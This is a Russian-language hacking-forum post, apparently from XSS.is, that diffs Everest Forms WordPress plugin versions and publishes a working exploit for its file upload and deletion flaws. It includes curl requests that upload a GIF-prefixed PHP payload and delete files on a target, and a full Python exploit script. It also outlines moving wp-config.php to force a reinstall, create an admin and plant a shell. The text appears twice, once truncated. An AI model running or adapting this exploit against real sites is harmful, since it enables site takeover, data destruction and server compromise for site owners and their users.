- Регистрация
- 22.02.2025
- Сообщения
- 1
- Розыгрыши
- 0
- Реакции
- 0
Xanthou не предоставил(а) никакой дополнительной информации.
На днях мне на почту пришла рассылка от wordfence в которой была новость:
или Зарегистрируйся
Конечно же код эксплойта никто не опубликовал, и тут мы решили провести свое исследование.
Скачали нужные версии плагинов, посмотрели что за патчи выходили.
Дифнули сорцы, вот код:
Diff: Скопировать в буфер обмена
и увидели что вся бага крутиться вокруг:
Код: Скопировать в буфер обмена
Которого не было, он то и позволял грузить файл даже когда скрипт ругался. Чуть далее наглядно будет.
Основной абстрактный класс плагина: everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
Интересные моменты: Хуки
PHP: Скопировать в буфер обмена
Смотрим функцию remove_file - она позволяет удалить любой файл в временной папке даже если ты ноубади.
Как и функция upload_file позволяет загрузить файл даже если форма не предназначена для загрузки, но загрузить можно не любые форматы.
Вообще это так себе затея, потому как запись на диск и удаление очень ресурсоемкие операции, особенно удаление, по этой причине не только лишь все крупные сервисы никогда не удаляют ваши фоточки итд а просто их перестают отображать и то далеко не всегда, прямые линки на фото зачастую остаются рабочие.
А это значит потенциально мы можем убивать диски на таргетах.
функция create_dir/get_tmp_dir она будет создавать в папках index.html мешающий листингу директорий на серверах где это включено.
Создаем форму без загрузки файлов.
Обузим AJAX хуки:
Код:
Код: Скопировать в буфер обмена
Все что нам нужно знать это form_id=87 файл загружается в wp-content/uploads/everest_forms_uploads/tmp/
Содержимое файла:
PHP: Скопировать в буфер обмена
Первая строка GIF56a обходит проверку содержимого.
Удаление файла index.html
Код: Скопировать в буфер обмена
ну или любого другого файла...
Поковыряв форму загрузки в BurpSuite обнаружили что можно манипулировать параметрами.
JSON: Скопировать в буфер обмена
К сожалению загружать файлы мы можем в специальную папку путь к которой нам не известен, так же как и имя генерируется с “солью”, но мы можем манипулировать расширением.
Для автоматизации был написан эксплойт.
Так же мы можем вызвать ошибку, если сервер их отображает:
И наконецто самая жирная бага это то что мы можем перенести файл wp-config.php что позволит нам запустить новую установку WordPress!!
Новая установка позволит нам вписать свои кредсы для конекта к удаленной БД, позволит создать нам нового админа, зайти в админку и через редактирование тем/плагинов загрузить шелл/плагин, восстановить старый конфиг который перенесло в wp-content/uploads/everest_forms_uploads//90-0095f2ab26ce26f21ddddb372dfad99e/EXPLOIT-EXPLOIT-EXPLOIT-c2ce6b2a3476635a0592ae41de59ac78-1.php и вернуть прежнее состояние сайта но уже скомпроментировав его.
Но есть пару моментов: файл wp-config-sample.php должен быть не удален, без него установка не запуститься а сам файл после установки умные админы могут удалить ну и конечно же нужны права на файлы, чтоб веб-сервер работал от пользователя, например www-data и файлы были тоже www-data.
Итог:
Уязвимость очень специфическая потому как для абуза конфига нужно чтоб на таргете была форма загрузки файлов, для временных файлов подходит любая форма из плагина без файлов.
Код эксплойта:
Эксплоит умеет собирать информацию по форме, обнаруживать поля обязательные для заполнения, запрашивает что ввести нужно.
Python: Скопировать в буфер обмена
requirements.txt
Код: Скопировать в буфер обмена
Установка зависимостей
Код: Скопировать в буфер обмена
Если вам понравилось, поддержите наши исследования и мы сможем продолжать радовать вас новыми находками. Так же мы можем пентестить ваши проэкты web/linux/windows.
Специально для XSS.is
BTC:
bc1qxu27qct444s8gzsl9q7qa76ccpzkw5jkhl563x
Ссылки по теме:
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
100,000 WordPress Sites Affected by Arbitrary File Upload, Read and Deletion Vulnerability in Everest Forms WordPress Plugin
Для просмотра ссылки ВойдиКонечно же код эксплойта никто не опубликовал, и тут мы решили провести свое исследование.
Скачали нужные версии плагинов, посмотрели что за патчи выходили.
Дифнули сорцы, вот код:
Diff: Скопировать в буфер обмена
Код:
diff -u everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php everest-forms3095/includes/abstracts/class-evf-form-fields-upload.php
@@ -1114,6 +1114,7 @@
if ( $proper_filename || ! $ext || ! $type ) {
evf()->task->errors[ $form_data['id'] ][ $field_id ] = esc_html__( 'File type is not allowed.', 'everest-forms' );
update_option( 'evf_validation_error', 'yes' );
+ wp_die( 'File type is not allowed' );
}
// Allow third-party integrations.
============================================================================================================================
diff -u everest-forms3094/includes/evf-core-functions.php everest-forms3095/includes/evf-core-functions.php
@@ -4728,14 +4728,30 @@
break;
case 'date':
if ( 'range' === $mode ) {
+ $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
$selected_dates = explode( ' to ', $datetime_value );
if ( count( $selected_dates ) >= 2 ) {
- $datetime_start = "$selected_dates[0] 00:00";
- $datetime_start = gmdate( 'Y-m-d H:i', strtotime( $datetime_start ) );
- $date_time = new DateTime( $selected_dates[1] );
- $date_time->modify( '+23 hour' );
- $datetime_end = $date_time->format( 'Y-m-d H:i' );
- $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+ if ( count( $selected_dates ) >= 2 ) {
+ $start_date = DateTime::createFromFormat( $date_format, $selected_dates[0] );
+ if ( $start_date === false ) {
+ evf_get_logger()->debug( print_r( "Invalid start date format: {$selected_dates[0]}", true ) );
+ }
+ $start_date->setTime( 0, 0 );
+ $datetime_start = $start_date->format( 'Y-m-d H:i' );
+
+ $end_date = DateTime::createFromFormat( $date_format, $selected_dates[1] );
+ if ( $end_date === false ) {
+ evf_get_logger()->debug( print_r( "Invalid end date format: {$selected_dates[1]}", true ) );
+ }
+ $end_date->modify( '+23 hours' );
+ $datetime_end = $end_date->format( 'Y-m-d H:i' );
+
+ $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+ }
+ }else{
+ if ( !empty($datetime_value) && ! is_array ( $datetime_value) ) {
+ $datetime_arr[ $entry_id ] = $datetime_value ;
+ }
}
} else {
$selected_dates = explode( ', ', $datetime_value );
@@ -4753,6 +4769,7 @@
break;
case 'date-time':
if ( 'range' === $mode ) {
+ $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
$selected_dates = explode( ' to ', $datetime_value );
if ( count( $selected_dates ) >= 2 ) {
$datetime_start = gmdate( 'Y-m-d H:i', strtotime( $selected_dates[0] ) );
============================================================================================================================
diff -u everest-forms3093/includes/abstracts/class-evf-form-fields-upload.php everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
@@ -1198,8 +1198,7 @@
*/
protected function generate_file_info( $file ) {
$dir = $this->get_form_files_dir();
-
- $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . $file['file'];
+ $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . sanitize_file_name($file['file']);
$file['type'] = 'application/octet-stream';
if ( is_file( $file['tmp_path'] ) ) {
$filetype = wp_check_filetype( $file['tmp_path'] );
============================================================================================================================
diff -u everest-forms3093/readme.txt everest-forms3094/readme.txt
+* Fix - Sanitization filename issue in temporary path.
============================================================================================================================
и увидели что вся бага крутиться вокруг:
Код: Скопировать в буфер обмена
wp_die( 'File type is not allowed' );
Которого не было, он то и позволял грузить файл даже когда скрипт ругался. Чуть далее наглядно будет.
Основной абстрактный класс плагина: everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
Интересные моменты: Хуки
PHP: Скопировать в буфер обмена
Код:
public function add_ajax_events() {
$ajax_events = array(
'upload_file',
'remove_file',
);
foreach ( $ajax_events as $ajax_event ) {
add_action( 'wp_ajax_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
add_action( 'wp_ajax_nopriv_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
}
}
Смотрим функцию remove_file - она позволяет удалить любой файл в временной папке даже если ты ноубади.
Как и функция upload_file позволяет загрузить файл даже если форма не предназначена для загрузки, но загрузить можно не любые форматы.
Вообще это так себе затея, потому как запись на диск и удаление очень ресурсоемкие операции, особенно удаление, по этой причине не только лишь все крупные сервисы никогда не удаляют ваши фоточки итд а просто их перестают отображать и то далеко не всегда, прямые линки на фото зачастую остаются рабочие.
А это значит потенциально мы можем убивать диски на таргетах.
функция create_dir/get_tmp_dir она будет создавать в папках index.html мешающий листингу директорий на серверах где это включено.
Создаем форму без загрузки файлов.
Обузим AJAX хуки:
Код:
Код: Скопировать в буфер обмена
Код:
curl --path-as-is -i -s -k -X POST \
-H "Content-Type: multipart/form-data" \
-F "action=everest_forms_upload_file" \
-F "form_id=87" \
-F "field_id=qweasd" \
-F "file=@1.txt;type=text/plain" \
"https://TARGET/wp-admin/admin-ajax.php"
Все что нам нужно знать это form_id=87 файл загружается в wp-content/uploads/everest_forms_uploads/tmp/
Содержимое файла:
PHP: Скопировать в буфер обмена
Код:
GIF56a
<?php
var_dump(1337);
phpinfo();
exit();
Удаление файла index.html
Код: Скопировать в буфер обмена
curl -X POST -d "action=everest_forms_remove_file&file=index.html&form_id=90&field_id=qweasd" https://TARGET/wp-admin/admin-ajax.php
ну или любого другого файла...
Поковыряв форму загрузки в BurpSuite обнаружили что можно манипулировать параметрами.
JSON: Скопировать в буфер обмена
[{"file":"067babc1eac8bbac3f5b9af84e03f73a.txt","name":"1.txt"}]
К сожалению загружать файлы мы можем в специальную папку путь к которой нам не известен, так же как и имя генерируется с “солью”, но мы можем манипулировать расширением.
Для автоматизации был написан эксплойт.
Так же мы можем вызвать ошибку, если сервер их отображает:
И наконецто самая жирная бага это то что мы можем перенести файл wp-config.php что позволит нам запустить новую установку WordPress!!
Новая установка позволит нам вписать свои кредсы для конекта к удаленной БД, позволит создать нам нового админа, зайти в админку и через редактирование тем/плагинов загрузить шелл/плагин, восстановить старый конфиг который перенесло в wp-content/uploads/everest_forms_uploads//90-0095f2ab26ce26f21ddddb372dfad99e/EXPLOIT-EXPLOIT-EXPLOIT-c2ce6b2a3476635a0592ae41de59ac78-1.php и вернуть прежнее состояние сайта но уже скомпроментировав его.
Но есть пару моментов: файл wp-config-sample.php должен быть не удален, без него установка не запуститься а сам файл после установки умные админы могут удалить ну и конечно же нужны права на файлы, чтоб веб-сервер работал от пользователя, например www-data и файлы были тоже www-data.
Итог:
Уязвимость очень специфическая потому как для абуза конфига нужно чтоб на таргете была форма загрузки файлов, для временных файлов подходит любая форма из плагина без файлов.
Код эксплойта:
Эксплоит умеет собирать информацию по форме, обнаруживать поля обязательные для заполнения, запрашивает что ввести нужно.
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
import re
import sys
import json
def get_form_data(form_url):
session = requests.Session()
response = session.get(form_url)
if response.status_code != 200:
print(f"Ошибка: {response.status_code}")
return None, None, None, None, None, None, None
soup = BeautifulSoup(response.text, 'html.parser')
form = soup.find('form', class_='everest-form')
if not form:
print("Форма с классом 'everest-form' не найдена.")
return None, None, None, None, None, None, None
form_data = {}
required_fields = {}
hidden_fields = {}
file_upload_fields = {}
for field in form.find_all(['input', 'select', 'textarea']):
name = field.get('name')
value = field.get('value', '')
field_type = field.get('type', 'text')
is_required = field.has_attr('required')
is_hidden = field_type == 'hidden'
is_file_upload = 'dropzone-input' in field.get('class', []) and not is_hidden
if name:
if is_hidden:
hidden_fields[name] = value
elif is_file_upload:
file_upload_fields[name] = value
else:
form_data[name] = value
if is_required:
required_fields[name] = value
user_input_data = {}
if required_fields:
print("\nВведите значения для обязательных полей:")
for field_name in required_fields.keys():
user_input_data[field_name] = input(f"Введите значение для {field_name}: ")
cookies = session.cookies.get_dict()
return form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data
def upload_file(wp_url, file_upload_fields, cookies, session):
for name in file_upload_fields:
match = re.match(r'(everest_forms_)(\d+)_(.+)', name)
if not match:
print(f"Не удалось разобрать имя поля: {name}")
continue
_, form_id, field_id = match.groups()
form_id = int(form_id)
files = {
'file': ('1.txt', b'GIF56a\n<?php\nvar_dump(1337);\nphpinfo();\nexit();', 'text/plain')
}
data = {
'action': 'everest_forms_upload_file',
'form_id': str(form_id),
'field_id': field_id
}
url = f"{wp_url}/wp-admin/admin-ajax.php"
response = session.post(url, data=data, files=files, cookies=cookies)
if response.status_code == 200:
try:
response_json = response.json()
uploaded_file = response_json.get("data", {}).get("file")
if uploaded_file:
print(f"Файл успешно загружен: {uploaded_file}")
return uploaded_file, name
except json.JSONDecodeError:
print("Ошибка: Не удалось разобрать JSON-ответ сервера.")
print(f"Ошибка загрузки файла. Код ответа: {response.status_code}")
return None, None
def move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session):
custom_file = input(f"Использовать загруженный файл {uploaded_file} или указать свой? (y/n): ")
if custom_file.lower() == 'n':
uploaded_file = input("Введите имя файла для отправки: ")
full_form_data = {**hidden_fields, **form_data, **required_fields, **user_input_data}
if uploaded_field:
full_form_data[uploaded_field] = json.dumps([{"file": uploaded_file, "name": "EXPLOIT-EXPLOIT-EXPLOIT.php"}])
print("\nСформированные данные для отправки:", json.dumps(full_form_data, indent=4, ensure_ascii=False))
confirm = input("Отправить форму? (y/n): ")
if confirm.lower() == 'y':
response = session.post(form_url, files={k: (None, v) for k, v in full_form_data.items()}, cookies=cookies)
print("\nФорма отправлена. Код ответа:", response.status_code)
else:
print("Отправка отменена пользователем.")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Использование: python script.py <wp_url> <form_url>")
sys.exit(1)
wp_url = sys.argv[1]
form_url = sys.argv[2]
form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data = get_form_data(form_url)
if file_upload_fields:
uploaded_file, uploaded_field = upload_file(wp_url, file_upload_fields, cookies, session)
if uploaded_file:
move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session)
requirements.txt
Код: Скопировать в буфер обмена
Код:
requests
beautifulsoup4
Код: Скопировать в буфер обмена
pip install -r requirements.txt
Если вам понравилось, поддержите наши исследования и мы сможем продолжать радовать вас новыми находками. Так же мы можем пентестить ваши проэкты web/linux/windows.
Специально для XSS.is
BTC:
bc1qxu27qct444s8gzsl9q7qa76ccpzkw5jkhl563x
Ссылки по теме:
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Для просмотра ссылки Войди